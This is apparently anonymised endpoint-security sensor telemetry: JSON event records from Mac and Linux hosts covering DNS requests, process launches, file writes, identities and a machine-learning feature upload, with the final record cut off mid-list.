-{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} -{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} -{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} -{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} -{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} -{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 